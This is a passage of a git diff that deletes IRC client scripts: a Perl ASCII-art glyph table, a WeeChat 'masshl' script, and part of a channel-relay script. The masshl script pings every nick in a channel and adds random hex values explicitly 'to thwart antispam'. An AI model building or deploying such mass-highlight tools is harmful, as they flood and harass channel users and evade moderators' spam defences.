-"$c3     ",
-],
-M => [
-"$c3            ",
-"$c1.$c2##$c3      $c1.$c2##$c3",
-"$c1.$c2###$c3    $c1.$c2###$c3",
-"$c1.$c2####$c3  $c1.$c2####$c3",
-"$c1.$c2##$c1.$c2##$c1.$c2##$c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2###$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3  $c1.$c2#$c3  $c1.$c2##$c3",
-"$c1.$c2##$c3      $c1.$c2##$c3",
-"$c3            ",
-],
-m => [
-"$c3          ",
-"$c3          ",
-"$c3          ",
-"$c3 $c1.$c2##$c3  $c1.$c2##$c3 ",
-"$c1.$c2####$c1.$c2####$c3",
-"$c1.$c2##$c1.$c2###$c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2#$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3    $c1.$c2##$c3",
-"$c3          ",
-],
-N => [
-"$c3           ",
-"$c1.$c2###$c3    $c1.$c2##",
-"$c1.$c2####$c3   $c1.$c2##",
-"$c1.$c2##$c1.$c2##$c3  $c1.$c2##",
-"$c1.$c2##$c3 $c1.$c2##$c3 $c1.$c2##",
-"$c1.$c2##$c3  $c1.$c2##$c1.$c2##",
-"$c1.$c2##$c3   $c1.$c2####",
-"$c1.$c2##$c3    $c1.$c2###",
-"$c3           ",
-],
-n => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c3         ",
-],
-O => [
-"$c3           ",
-"$c3  $c1.$c2######$c3  ",
-"$c3 $c1.$c2##$c3   $c1.$c2##$c3 ",
-"$c1.$c2##$c3     $c1.$c2##$c3",
-"$c1.$c2##$c3     $c1.$c2##$c3",
-"$c1.$c2##$c3     $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3   $c1.$c2##$c3 ",
-"$c3  $c1.$c2######$c3  ",
-"$c3           ",
-],
-o => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3 ",
-"$c3         ",
-],
-P => [
-"$c3         ",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3      ",
-"$c1.$c2##$c3      ",
-"$c1.$c2##$c3      ",
-"$c3         ",
-],
-p => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3      ",
-"$c1.$c2##$c3      ",
-],
-Q => [
-"$c3           ",
-"$c3  $c1.$c2######$c3  ",
-"$c3 $c1.$c2##$c3   $c1.$c2##$c3 ",
-"$c1.$c2##$c3     $c1.$c2##$c3",
-"$c1.$c2##$c3     $c1.$c2##$c3",
-"$c1.$c2##$c3  $c1.$c2##$c1.$c2##$c3",
-"$c3 $c1.$c2##$c3  $c1.$c2###$c3 ",
-"$c3  $c1.$c2######$c3  ",
-"$c3       $c1.$c2##$c3 ",
-],
-q => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c3 $c1.$c2#######$c3",
-"$c3      $c1.$c2##$c3",
-"$c3      $c1.$c2##$c3",
-],
-R => [
-"$c3           ",
-"$c1.$c2#######$c3   ",
-"$c1.$c2##$c3   $c1.$c2##$c3  ",
-"$c1.$c2##$c3   $c1.$c2##$c3  ",
-"$c1.$c2#######$c3   ",
-"$c1.$c2##$c3   $c1.$c2##$c3  ",
-"$c1.$c2##$c3    $c1.$c2##$c3 ",
-"$c1.$c2##$c3     $c1.$c2##",
-"$c3           ",
-],
-r => [
-"$c3        ",
-"$c3        ",
-"$c3        ",
-"$c3 $c1.$c2#####$c3 ",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c1.$c2##$c3     ",
-"$c1.$c2##$c3     ",
-"$c1.$c2##$c3     ",
-"$c3        ",
-],
-S => [
-"$c3        ",
-"$c3 $c1.$c2#####$c3 ",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c1.$c2##$c3     ",
-"$c3 $c1.$c2#####$c3 ",
-"$c3     $c1.$c2##$c3",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c3 $c1.$c2#####$c3 ",
-"$c3        ",
-],
-s => [
-"$c3       ",
-"$c3       ",
-"$c3       ",
-"$c3 $c1.$c2#####$c3",
-"$c1.$c2##$c3    ",
-"$c3 $c1.$c2####$c3 ",
-"$c3    $c1.$c2##$c3",
-"$c1.$c2#####$c3 ",
-"$c3       ",
-],
-T => [
-"$c3         ",
-"$c1.$c2########$c3",
-"$c3   $c1.$c2##$c3   ",
-"$c3   $c1.$c2##$c3   ",
-"$c3   $c1.$c2##$c3   ",
-"$c3   $c1.$c2##$c3   ",
-"$c3   $c1.$c2##$c3   ",
-"$c3   $c1.$c2##$c3   ",
-"$c3         ",
-],
-t => [
-"$c3       ",
-"$c3       ",
-"$c3 $c1.$c2##$c3   ",
-"$c1.$c2#####$c3 ",
-"$c3 $c1.$c2##$c3   ",
-"$c3 $c1.$c2##$c3   ",
-"$c3 $c1.$c2##$c1.$c2##",
-"$c3  $c1.$c2###$c3 ",
-"$c3       ",
-],
-U => [
-"$c3           ",
-"$c1.$c2##$c3     $c1.$c2##$c3",
-"$c1.$c2##$c3     $c1.$c2##$c3",
-"$c1.$c2##$c3     $c1.$c2##$c3",
-"$c1.$c2##$c3     $c1.$c2##$c3",
-"$c1.$c2##$c3     $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3   $c1.$c2##$c3 ",
-"$c3  $c1.$c2######$c3  ",
-"$c3           ",
-],
-u => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3 ",
-"$c3         ",
-],
-V => [
-"$c3             ",
-"$c1.$c2#$c3         $c1.$c2#",
-"$c1.$c2##$c3       $c1.$c2##",
-"$c3 $c1.$c2##$c3     $c1.$c2##$c3 ",
-"$c3  $c1.$c2##$c3   $c1.$c2##$c3  ",
-"$c3   $c1.$c2##$c3 $c1.$c2##$c3   ",
-"$c3    $c1.$c2####$c3    ",
-"$c3     $c1.$c2##$c3     ",
-"$c3             ",
-],
-v => [
-"$c3            ",
-"$c3            ",
-"$c3            ",
-"$c1.$c2##$c3      $c1.$c2##",
-"$c3 $c1.$c2##$c3    $c1.$c2##$c3 ",
-"$c3  $c1.$c2##$c3  $c1.$c2##$c3  ",
-"$c3   $c1.$c2##$c1.$c2##$c3   ",
-"$c3    $c1.$c2###$c3    ",
-"$c3            ",
-],
-W => [
-"$c3           ",
-"$c1.$c2##$c3     $c1.$c2##",
-"$c1.$c2##$c3     $c1.$c2##",
-"$c1.$c2##$c3     $c1.$c2##",
-"$c1.$c2##$c3 $c1.$c2##$c3 $c1.$c2##",
-"$c1.$c2##$c1.$c2####$c1.$c2##",
-"$c1.$c2####$c3 $c1.$c2####",
-"$c3 $c1.$c2##$c3   $c1.$c2##$c3 ",
-"$c3           ",
-],
-w => [
-"$c3          ",
-"$c3          ",
-"$c3          ",
-"$c1.$c2##$c3    $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2#$c3 $c1.$c2##$c3",
-"$c1.$c2##$c1.$c2###$c1.$c2##$c3",
-"$c1.$c2####$c1.$c2####$c3",
-"$c3 $c1.$c2##$c3  $c1.$c2##$c3 ",
-"$c3          ",
-],
-X => [
-"$c3          ",
-"$c1.$c2##$c3    $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3  $c1.$c2##$c3 ",
-"$c3  $c1.$c2##$c1.$c2##$c3  ",
-"$c3   $c1.$c2###$c3   ",
-"$c3  $c1.$c2##$c1.$c2##$c3  ",
-"$c3 $c1.$c2##$c3  $c1.$c2##$c3 ",
-"$c1.$c2##$c3    $c1.$c2##$c3",
-"$c3          ",
-],
-x => [
-"$c3        ",
-"$c3        ",
-"$c3        ",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c3 $c1.$c2##$c1.$c2##$c3 ",
-"$c3   $c2###$c3  ",
-"$c3 $c1.$c2##$c1.$c2##$c3 ",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c3        ",
-],
-Y => [
-"$c3           ",
-"$c1.$c2##$c3     $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3   $c1.$c2##$c3 ",
-"$c3  $c1.$c2##$c3 $c1.$c2##$c3  ",
-"$c3   $c1.$c2####$c3   ",
-"$c3    $c1.$c2##$c3    ",
-"$c3    $c1.$c2##$c3    ",
-"$c3    $c1.$c2##$c3    ",
-"$c3           ",
-],
-y => [
-"$c3           ",
-"$c3           ",
-"$c3           ",
-"$c1.$c2##$c3     $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3   $c1.$c2##$c3 ",
-"$c3  $c1.$c2##$c3 $c1.$c2##$c3  ",
-"$c3   $c1.$c2####$c3   ",
-"$c3    $c1.$c2##$c3    ",
-"$c3   $c1.$c2##$c3     ",
-],
-Z => [
-"$c3         ",
-"$c1.$c2########$c3",
-"$c3     $c1.$c2##$c3 ",
-"$c3    $c1.$c2##$c3  ",
-"$c3   $c1.$c2##$c3   ",
-"$c3  $c1.$c2##$c3    ",
-"$c3 $c1.$c2##$c3     ",
-"$c1.$c2########$c3",
-"$c3         ",
-],
-z => [
-"$c3          ",
-"$c3          ",
-"$c3          ",
-"$c1.$c2########$c3 ",
-"$c3     $c1.$c2##$c3  ",
-"$c3   $c1.$c2##$c3    ",
-"$c3 $c1.$c2##$c3      ",
-"$c1.$c2########$c3 ",
-"$c3          ",
-],
-'~' => [
-"$c3             ",
-"$c3             ",
-"$c3             ",
-"$c3  $c1.$c2####$c3   $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3   $c1.$c2####$c3  ",
-"$c3             ",
-"$c3             ",
-"$c3             ",
-],
-'`' => [
-"$c3    ",
-"$c1.$c2##$c3 ",
-"$c3 $c1.$c2##",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-],
-'!' => [
-"$c3         ",
-"$c3      $c1.$c2##$c3",
-"$c3     $c1.$c2##$c3 ",
-"$c3    $c1.$c2##$c3  ",
-"$c3   $c1.$c2##$c3   ",
-"$c3  $c1.$c2##$c3    ",
-"$c3         ",
-"$c1.$c2##$c3      ",
-"$c3         ",
-],
-'@' => [
-"$c3            ",
-"$c3  $c1.$c2#######$c3  ",
-"$c3 $c1.$c2##$c3    $c1.$c2##$c3 ",
-"$c1.$c2##$c3  $c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3  $c1.$c2##$c3",
-"$c1.$c2##$c3  $c1.$c2#####$c3 ",
-"$c3 $c1.$c2##$c3        ",
-"$c3  $c1.$c2#######$c3  ",
-"$c3            ",
-],
-'#' => [
-"$c3           ",
-"$c3  $c1.$c2##$c3 $c1.$c2##$c3  ",
-"$c3  $c1.$c2##$c3 $c1.$c2##$c3  ",
-"$c1.$c2##########",
-"$c3  $c1.$c2##$c3 $c1.$c2##$c3  ",
-"$c1.$c2##########",
-"$c3  $c1.$c2##$c3 $c1.$c2##$c3  ",
-"$c3  $c1.$c2##$c3 $c1.$c2##$c3  ",
-"$c3           ",
-],
-'$' => [
-"$c3    $c1.$c2#$c3    ",
-"$c3 $c1.$c2#######$c3 ",
-"$c1.$c2##$c3 $c1.$c2#$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2#$c3    ",
-"$c3 $c1.$c2#######$c3 ",
-"$c3    $c1.$c2#$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2#$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2#######$c3 ",
-"$c3    $c1.$c2#$c3    ",
-],
-'%' => [
-"$c3         ",
-"$c1.$c2##$c3   $c1.$c2##",
-"$c3     $c1.$c2##$c3 ",
-"$c3    $c1.$c2##$c3  ",
-"$c3   $c1.$c2##$c3   ",
-"$c3  $c1.$c2##$c3    ",
-"$c3 $c1.$c2##$c3     ",
-"$c1.$c2##$c3   $c1.$c2##",
-"$c3         ",
-],
-'^' => [
-"$c3        ",
-"$c3        ",
-"$c3  $c1.$c2###$c3  ",
-"$c3 $c1.$c2##$c1.$c2##$c3 ",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c3        ",
-"$c3        ",
-"$c3        ",
-"$c3        ",
-],
-'&' => [
-"$c3           ",
-"$c3  $c1.$c2####$c3    ",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3   ",
-"$c3  $c1.$c2####$c3    ",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3   ",
-"$c1.$c2##$c3   $c1.$c2##$c3  ",
-"$c1.$c2##$c3    $c1.$c2##$c3 ",
-"$c3 $c1.$c2######$c1.$c2##$c3",
-"$c3           ",
-],
-'*' => [
-"$c3     ",
-"$c3     ",
-"$c1.$c2#$c3 $c1.$c2#",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2#$c3 $c1.$c2#",
-"$c3     ",
-"$c3     ",
-"$c3     ",
-"$c3     ",
-],
-'(' => [
-"$c3     ",
-"$c3  $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3  ",
-"$c1.$c2##$c3  ",
-"$c1.$c2##$c3  ",
-"$c3 $c1.$c2##$c3 ",
-"$c3  $c1.$c2##$c3",
-"$c3     ",
-],
-')' => [
-"$c3     ",
-"$c1.$c2##$c3  ",
-"$c3 $c1.$c2##$c3 ",
-"$c3  $c1.$c2##$c3",
-"$c3  $c1.$c2##$c3",
-"$c3  $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3  ",
-"$c3     ",
-],
-'_' => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c1.$c2########$c3",
-"$c3         ",
-],
-'-' => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c1.$c2########$c3",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-],
-'+' => [
-"$c3         ",
-"$c3         ",
-"$c3   $c1.$c2##$c3   ",
-"$c3   $c1.$c2##$c3   ",
-"$c1.$c2########$c3",
-"$c3   $c1.$c2##$c3   ",
-"$c3   $c1.$c2##$c3   ",
-"$c3         ",
-"$c3         ",
-],
-'=' => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c1.$c2########$c3",
-"$c3         ",
-"$c1.$c2########$c3",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-],
-'|' => [
-"$c3   ",
-"$c1.$c2##$c3",
-"$c1.$c2##$c3",
-"$c1.$c2##$c3",
-"$c1.$c2##$c3",
-"$c1.$c2##$c3",
-"$c1.$c2##$c3",
-"$c1.$c2##$c3",
-"$c3   ",
-],
-'\\' => [
-"$c3         ",
-"$c1.$c2##$c3      ",
-"$c3 $c1.$c2##$c3     ",
-"$c3  $c1.$c2##$c3    ",
-"$c3   $c1.$c2##$c3   ",
-"$c3    $c1.$c2##$c3  ",
-"$c3     $c1.$c2##$c3 ",
-"$c3      $c1.$c2##$c3",
-"$c3         ",
-],
-'[' => [
-"$c3     ",
-"$c1.$c2####$c3",
-"$c1.$c2##$c3  ",
-"$c1.$c2##$c3  ",
-"$c1.$c2##$c3  ",
-"$c1.$c2##$c3  ",
-"$c1.$c2##$c3  ",
-"$c1.$c2####$c3",
-"$c3     ",
-],
-']' => [
-"$c3     ",
-"$c1.$c2####$c3",
-"$c3  $c1.$c2##$c3",
-"$c3  $c1.$c2##$c3",
-"$c3  $c1.$c2##$c3",
-"$c3  $c1.$c2##$c3",
-"$c3  $c1.$c2##$c3",
-"$c1.$c2####$c3",
-"$c3     ",
-],
-'{' => [
-"$c3     ",
-"$c3 $c1.$c2###$c3",
-"$c1.$c2##$c3  ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3  ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3  ",
-"$c3 $c1.$c2###$c3",
-"$c3     ",
-],
-'}' => [
-"$c3     ",
-"$c1.$c2###$c3 ",
-"$c3  $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c3  $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c3  $c1.$c2##$c3",
-"$c1.$c2###$c3 ",
-"$c3     ",
-],
-':' => [
-"$c3     ",
-"$c3     ",
-"$c3     ",
-"$c3 $c1.$c2##$c3 ",
-"$c3     ",
-"$c3     ",
-"$c3 $c1.$c2##$c3 ",
-"$c3     ",
-"$c3     ",
-],
-';' => [
-"$c3     ",
-"$c3     ",
-"$c3     ",
-"$c3 $c1.$c2##$c3 ",
-"$c3     ",
-"$c3     ",
-"$c3 $c1.$c2##$c3 ",
-"$c3  $c1.$c2#$c3 ",
-"$c3     ",
-],
-'\'' => [
-"$c3    ",
-"$c3 $c1.$c2##",
-"$c1.$c2##$c3 ",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-],
-'"' => [
-"$c3       ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3       ",
-"$c3       ",
-"$c3       ",
-"$c3       ",
-"$c3       ",
-"$c3       ",
-],
-'<' => [
-"$c3       ",
-"$c3       ",
-"$c3    $c1.$c2##$c3",
-"$c3  $c1.$c2##$c3  ",
-"$c1.$c2##$c3    ",
-"$c3  $c1.$c2##$c3  ",
-"$c3    $c1.$c2##$c3",
-"$c3       ",
-"$c3       ",
-],
-'>' => [
-"$c3       ",
-"$c3       ",
-"$c1.$c2##$c3    ",
-"$c3  $c1.$c2##$c3  ",
-"$c3    $c1.$c2##$c3",
-"$c3  $c1.$c2##$c3  ",
-"$c1.$c2##$c3    ",
-"$c3       ",
-"$c3       ",
-],
-'?' => [
-"$c3         ",
-"$c3  $c1.$c2#####$c3 ",
-"$c3 $c1.$c2##$c3  $c1.$c2##",
-"$c3     $c1.$c2##$c3 ",
-"$c3    $c1.$c2##$c3  ",
-"$c3   $c1.$c2##$c3   ",
-"$c3         ",
-"$c3 $c1.$c2##$c3     ",
-"$c3         ",
-],
-"\," => [
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c1.$c2##$c3",
-"$c3 $c1.$c2#$c3",
-],
-"\." => [
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c1.$c2##",
-"$c3   ",
-],
-"\/" => [
-"$c3         ",
-"$c3      $c1.$c2##$c3",
-"$c3     $c1.$c2##$c3 ",
-"$c3    $c1.$c2##$c3  ",
-"$c3   $c1.$c2##$c3   ",
-"$c3  $c1.$c2##$c3    ",
-"$c3 $c1.$c2##$c3     ",
-"$c1.$c2##$c3      ",
-"$c3         ",
-],
-);
-}
diff --git a/irc/weechat/masshl.py b/irc/weechat/masshl.py
@@ -1,106 +0,0 @@
-# Released into the Public Domain
-
-import random
-#from threading import Thread
-#from time import sleep
-import weechat
-
-SCRIPT_NAME    = "masshl"
-SCRIPT_AUTHOR  = "The Krusty Krab <wowaname@volatile.ch>"
-SCRIPT_VERSION = "1.0"
-SCRIPT_LICENSE = "Public domain"
-SCRIPT_DESC    = "Provides nicklist hooks."
-
-if weechat.register(SCRIPT_NAME, SCRIPT_AUTHOR, SCRIPT_VERSION,
-	SCRIPT_LICENSE, SCRIPT_DESC, "", ""):
-	weechat.hook_command("masshl",
-		SCRIPT_DESC,
-		"[-do <delay>] text (broken, currently no-op)",
-		"-d  Specify a delay at the beginning (e.g. -d 1 for\n"
-		"    one second) to insert a delay between messages.\n"
-		"    %n - replace with next nick\n"
-		"    %N - replace with as many nicks as possible per line\n"
-		"    %r - replace with random hex value to thwart antispam\n"
-		"-o  Include your own nick in output",
-		"-od", "masshl_cmd_cb", "")
-
-class Loop():
-	def __init__(self, buffer, nicks, input, input_method, N_param, delay, opts):
-		self.buffer = buffer
-		self.nicks = nicks
-		self.input = input
-		self.input_method = input_method
-		self.N_param = N_param
-		self.delay = delay
-		self.opts = opts
-
-	def run(self):
-		i = -('o' not in self.opts)
-		if i == -1: self.nicks.pop(0)
-		N_nicks = ""
-		output = self.input
-		for nick in self.nicks:
-			i += 1
-			if self.N_param:
-				N_nicks += " %s" % nick
-				if (nick != self.nicks[-1] and
-				 len(output) + len(N_nicks) + len(self.nicks[i]) < 300):
-					continue
-			else: output = self.input.replace("%n",nick)
-			N_nicks = N_nicks.lstrip()
-			output = output.replace("%N",N_nicks)
-			output = output.replace("%r","%08x" % random.randint(0,0xffffffff))
-			if self.input_method == "keybinding":
-				weechat.buffer_set(self.buffer, "input", output)
-			else:
-				weechat.command(self.buffer, output)
-#			sleep(self.delay)
-			output = self.input
-			N_nicks = ""
-
-def masshl_cmd_cb(data, buffer, args):
-	input = args
-
-	input_method = "command"
-	server = weechat.buffer_get_string(buffer, 'localvar_server')
-	channel = weechat.buffer_get_string(buffer, 'localvar_channel')
-
-	if not input or (input[0] == '-' and input.find(' ') == -1):
-		input = (input + ' ' if input else '') + weechat.buffer_get_string(buffer, "input")
-		input_method = "keybinding"
-
-	N_param = "%N" in input
-	if not N_param and "%n" not in input and "%r" not in input:
-		# if we bind this to Enter key, we don't want useless flooding on
-		# normal messages
-		return weechat.WEECHAT_RC_OK
-
-	optstop = input and input[0] == '-' and input.find(' ')
-	opts = input[1:optstop] if optstop else ''
-	cmdstop = 'd' in opts and input.find(' ', optstop+1)
-	delay = 0
-	if 'd' in opts:
-		find = input[optstop+1:cmdstop]
-		where = input.find(find, cmdstop+1)
-		try: delay = float(find)
-		except ValueError:
-			weechat.prnt(buffer, "delay must be a float value!")
-			return weechat.WEECHAT_RC_ERROR
-		input = input[where+len(find):]
-	else: input = input[optstop+bool(optstop):]
-
-	nicklist = weechat.infolist_get("irc_nick", "", "%s,%s" % (server,channel))
-
-	# dealing with the cursor can get a little tricky. let's use a dict
-	# instead, that way we can manipulate just what we need and we can
-	# do that with builtins
-	nicks = []
-	while weechat.infolist_next(nicklist):
-		nicks.append(weechat.infolist_string(nicklist, "name"))
-
-	weechat.infolist_free(nicklist)
-
-	workhorse = Loop(buffer, nicks, input, input_method, N_param, delay, opts)
-	workhorse.run()
-
-	return weechat.WEECHAT_RC_OK
diff --git a/irc/weechat/parrot.pl b/irc/weechat/parrot.pl
@@ -1,380 +0,0 @@
-use strict;
-use warnings;
-
-no strict 'subs';
-
-my $SCRIPT_NAME = 'parrot';
-my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
-my $SCRIPT_VERSION = '1.0';
-my $SCRIPT_LICENCE = 'Public domain';
-my $SCRIPT_DESC = 'Relay channel messages and modes';
-
-# %cbs{server}{hook_name} = $hook_ptr:
-#     stores hook pointers to unhook() on exit
-# %chans{server}{channel} = @groups:
-#     stores groups associated with a channel
-# %groups{groupname}{server}{channel} = $flags:
-#     stores channels associated with a group, as well as the channel's flags
-# $READ, $STAT, $MODE:
-#     flags for -read, -stat, -mode switches
-our (%cbs, %chans, %groups);
-our ($READ, $STAT, $MODE) = (0x1, 0x2, 0x4);
-our $confpath;
-
-sub servchan
-{
-	my $buffer = shift;
-	return (lc weechat::buffer_get_string($buffer, 'localvar_server'),
-		lc weechat::buffer_get_string($buffer, 'localvar_channel'));
-}
-
-sub ircbuf { weechat::buffer_search('irc', "(?i)".(join '.', @_)) }
-
-sub getgroup
-{
-	my ($server, $channel) = @_;
-	my @ret;
-
-	for my $group (@{ $chans{$server}{$channel} }) {
-	for my $to_serv (keys %{ $groups{$group} }) {
-	for my $to_chan (keys %{ $groups{$group}{$to_serv} }) {
-		# don't send to myself
-		next if $to_serv eq $server and $to_chan eq $channel;
-		push @ret, [$to_serv, $to_chan, $groups{$group}{$to_serv}{$to_chan}, $group]
-	} } }
-
-	return @ret;
-}
-
-sub sendto
-{
-	my ($server, $command) = @_;
-	weechat::hook_signal_send('irc_input_send',
-		weechat::WEECHAT_HOOK_SIGNAL_STRING,
-		"$server;;1;;$command");
-}
-
-sub add_relay
-{
-	my ($groupname, $server, $channel, $flags) = @_;
-	return if exists $cbs{$server};
-	push @{ $chans{$server}{$channel} }, $groupname;
-	$groups{$groupname}{$server}{$channel} = $flags;
-	$cbs{$server}{PRIVMSG} =
-		weechat::hook_signal("$server,irc_raw_in_privmsg", 'irc_privmsg_notice', '');
-	$cbs{$server}{NOTICE} =
-		weechat::hook_signal("$server,irc_raw_in_notice", 'irc_privmsg_notice', '');
-	$cbs{$server}{OUT_PRIVMSG} =
-		weechat::hook_signal("$server,irc_out1_privmsg", 'ircout_privmsg_notice', '');
-	$cbs{$server}{OUT_NOTICE} =
-		weechat::hook_signal("$server,irc_out1_notice", 'ircout_privmsg_notice', '');
-	if ($flags & $STAT) {
-		$cbs{$server}{JOIN} =
-			weechat::hook_signal("$server,irc_raw_in_join", 'irc_join', '');
-		$cbs{$server}{PART} =
-			weechat::hook_signal("$server,irc_raw_in_part", 'irc_part', '');
-		$cbs{$server}{KICK} =
-			weechat::hook_signal("$server,irc_raw_in_kick", 'irc_kick', '');
-		$cbs{$server}{NICK} =
-			weechat::hook_signal("$server,irc_raw_in_nick", 'irc_nick', '');
-		$cbs{$server}{QUIT} =
-			weechat::hook_signal("$server,irc_raw_in_quit", 'irc_quit', '');
-	}
-	if ($flags & $MODE) {
-#		$cbs{$server}{MODE} =
-#			weechat::hook_signal("$server,irc_raw_in_mode", 'irc_mode', '');
-		$cbs{$server}{TOPIC} =
-			weechat::hook_signal("$server,irc_raw_in_topic", 'irc_topic', '');
-	}
-}
-
-sub read_conf
-{
-	open FH, '<', $confpath or weechat::print('', weechat::prefix('error').
-		"Error opening $confpath for reading: $!"), return;
-	while (<FH>) {
-		chomp;
-		add_relay(split ' ');
-	}
-	close FH;
-}
-
-sub write_conf
-{
-	open FH, '>', $confpath or weechat::print('', weechat::prefix('error').
-		"Error opening $confpath for writing: $!"), return;
-	for my $server (keys %chans) {
-	for my $channel (keys %{ $chans{$server} }) {
-	for my $group (@{ $chans{$server}{$channel} }) {
-		my $flags = $groups{$group}{$server}{$channel};
-		print FH "$group $server $channel $flags\n";
-	} } }
-	close FH;
-}
-
-sub irc_privmsg_notice
-{
-	my (undef, $server, $cmd, $nick, $channel, $message) = (shift,
-		shift =~ /(.+),irc_raw_in_(privmsg|notice)/i,
-		shift =~ /:([^! ]*)[^ ]* [^ ]+ ([^ ]+) :?(.*)/i);
-	($server, $channel) = (lc $server, lc $channel);
-	return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
-
-	for (getgroup($server, $channel)) {
-		my ($to_serv, $to_chan, $flags, undef) = @$_;
-		next if $flags & $READ;
-		next unless ircbuf("$to_serv.$to_chan");
-		if ($message =~ /^\x01ACTION /i) {
-			$message =~ s/^\x01ACTION |\x01$//g;
-			sendto($to_serv, "/msg $to_chan * \x02$nick\x0f $message");
-			next;
-		}
-		my $prefix = lc $cmd eq 'notice' ? "[\x02$nick\x0f]" : "<\x02$nick\x0f>";
-		sendto($to_serv, "/msg $to_chan $prefix $message");
-	}
-
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub ircout_privmsg_notice
-{
-	my (undef, $server, $cmd, $channel, $message) = (shift,
-		shift =~ /(.*),irc_out1_(privmsg|notice)/i,
-		shift =~ /[^ ]+ ([^ ]+) :?(.*)/i);
-	($server, $channel) = (lc $server, lc $channel);
-	return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
-
-	for (getgroup($server, $channel)) {
-		my ($to_serv, $to_chan, $flags, undef) = @$_;
-		next if $flags & $READ;
-		next unless ircbuf("$to_serv.$to_chan");
-		my $prefix = lc $cmd eq 'notice' ? 'notice' : 'msg';
-		if ($message =~ /^\x01ACTION /i) {
-			$message =~ s/^\x01ACTION |\x01$//g;
-			sendto($to_serv, "/$prefix $to_chan \x01ACTION $message\x01");
-			next;
-		}
-		sendto($to_serv, "/$prefix $to_chan $message");
-	}
-
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_join
-{
-	my (undef, $server, $nick, $host, $channel) = (shift,
-		shift =~ /(.+),irc_raw_in_join/i,
-		shift =~ /:([^! ]*)([^ ]*) join :?([^ ]+)/i);
-	($server, $channel) = (lc $server, lc $channel);
-	return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
-
-	for (getgroup($server, $channel)) {
-		my ($to_serv, $to_chan, $flags, undef) = @$_;
-		next unless $flags & $STAT;
-		next if $flags & $READ;
-		next unless ircbuf("$to_serv.$to_chan");
